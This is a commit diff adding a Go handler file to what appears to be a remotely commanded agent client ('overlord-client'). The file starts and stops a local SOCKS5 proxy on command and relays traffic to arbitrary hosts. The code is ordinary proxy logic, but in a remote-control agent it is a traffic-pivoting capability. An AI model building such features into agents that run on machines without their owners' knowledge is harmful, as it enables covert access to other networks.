inital commit
This commit is contained in:
@@ -0,0 +1,255 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
var (
|
||||
proxyListenerMu sync.Mutex
|
||||
proxyListener net.Listener
|
||||
proxyPort int
|
||||
proxyCtx context.Context
|
||||
proxyCancel context.CancelFunc
|
||||
)
|
||||
|
||||
func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||
proxyListenerMu.Lock()
|
||||
defer proxyListenerMu.Unlock()
|
||||
|
||||
if proxyListener != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "Proxy already running",
|
||||
})
|
||||
}
|
||||
|
||||
requestedPort := 1080
|
||||
if portVal, ok := payload["port"]; ok {
|
||||
if port, ok := portVal.(int); ok && port > 0 {
|
||||
requestedPort = port
|
||||
}
|
||||
}
|
||||
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort))
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("Failed to start proxy: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
proxyListener = listener
|
||||
proxyPort = listener.Addr().(*net.TCPAddr).Port
|
||||
proxyCtx, proxyCancel = context.WithCancel(context.Background())
|
||||
|
||||
log.Printf("SOCKS5 proxy started on port %d", proxyPort)
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("Proxy started on port %d", proxyPort),
|
||||
}); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
go acceptProxyConnections(proxyCtx, listener)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
proxyListenerMu.Lock()
|
||||
defer proxyListenerMu.Unlock()
|
||||
|
||||
if proxyListener == nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "No proxy running",
|
||||
})
|
||||
}
|
||||
|
||||
if proxyCancel != nil {
|
||||
proxyCancel()
|
||||
}
|
||||
|
||||
if err := proxyListener.Close(); err != nil {
|
||||
log.Printf("Error closing proxy listener: %v", err)
|
||||
}
|
||||
|
||||
proxyListener = nil
|
||||
proxyPort = 0
|
||||
|
||||
log.Printf("SOCKS5 proxy stopped")
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "Proxy stopped",
|
||||
})
|
||||
}
|
||||
|
||||
func acceptProxyConnections(ctx context.Context, listener net.Listener) {
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
log.Printf("Proxy accept error: %v", err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
go handleProxyConnection(ctx, conn)
|
||||
}
|
||||
}
|
||||
|
||||
func handleProxyConnection(ctx context.Context, conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(30 * time.Second))
|
||||
|
||||
buf := make([]byte, 2)
|
||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
||||
log.Printf("Proxy handshake read error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
version := buf[0]
|
||||
nmethods := buf[1]
|
||||
|
||||
if version != 5 {
|
||||
log.Printf("Unsupported SOCKS version: %d", version)
|
||||
return
|
||||
}
|
||||
|
||||
methods := make([]byte, nmethods)
|
||||
if _, err := io.ReadFull(conn, methods); err != nil {
|
||||
log.Printf("Proxy methods read error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if _, err := conn.Write([]byte{5, 0}); err != nil {
|
||||
log.Printf("Proxy handshake response error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
reqHeader := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, reqHeader); err != nil {
|
||||
log.Printf("Proxy request header error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if reqHeader[0] != 5 {
|
||||
log.Printf("Invalid request version: %d", reqHeader[0])
|
||||
return
|
||||
}
|
||||
|
||||
cmd := reqHeader[1]
|
||||
if cmd != 1 {
|
||||
conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported
|
||||
return
|
||||
}
|
||||
|
||||
atyp := reqHeader[3]
|
||||
var host string
|
||||
var port uint16
|
||||
|
||||
switch atyp {
|
||||
case 1: // IPv4
|
||||
addr := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = net.IP(addr).String()
|
||||
case 3: // domain name
|
||||
addrLen := make([]byte, 1)
|
||||
if _, err := io.ReadFull(conn, addrLen); err != nil {
|
||||
return
|
||||
}
|
||||
addr := make([]byte, addrLen[0])
|
||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = string(addr)
|
||||
case 4: // IPv6
|
||||
addr := make([]byte, 16)
|
||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = net.IP(addr).String()
|
||||
default:
|
||||
conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported
|
||||
return
|
||||
}
|
||||
|
||||
// read port
|
||||
portBytes := make([]byte, 2)
|
||||
if _, err := io.ReadFull(conn, portBytes); err != nil {
|
||||
return
|
||||
}
|
||||
port = binary.BigEndian.Uint16(portBytes)
|
||||
|
||||
log.Printf("SOCKS5 CONNECT to %s:%d", host, port)
|
||||
|
||||
// connect to target
|
||||
targetAddr := fmt.Sprintf("%s:%d", host, port)
|
||||
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
|
||||
if err != nil {
|
||||
log.Printf("Failed to connect to %s: %v", targetAddr, err)
|
||||
conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused
|
||||
return
|
||||
}
|
||||
defer targetConn.Close()
|
||||
|
||||
// send success response
|
||||
// VER | REP | RSV | ATYP | BND.ADDR | BND.PORT
|
||||
conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
|
||||
|
||||
// clear deadline for data transfer
|
||||
conn.SetDeadline(time.Time{})
|
||||
targetConn.SetDeadline(time.Time{})
|
||||
|
||||
// relay data bidirectionally
|
||||
done := make(chan struct{}, 2)
|
||||
|
||||
goSafe("socks5 relay to target", nil, func() {
|
||||
io.Copy(targetConn, conn)
|
||||
done <- struct{}{}
|
||||
})
|
||||
|
||||
goSafe("socks5 relay to client", nil, func() {
|
||||
io.Copy(conn, targetConn)
|
||||
done <- struct{}{}
|
||||
})
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user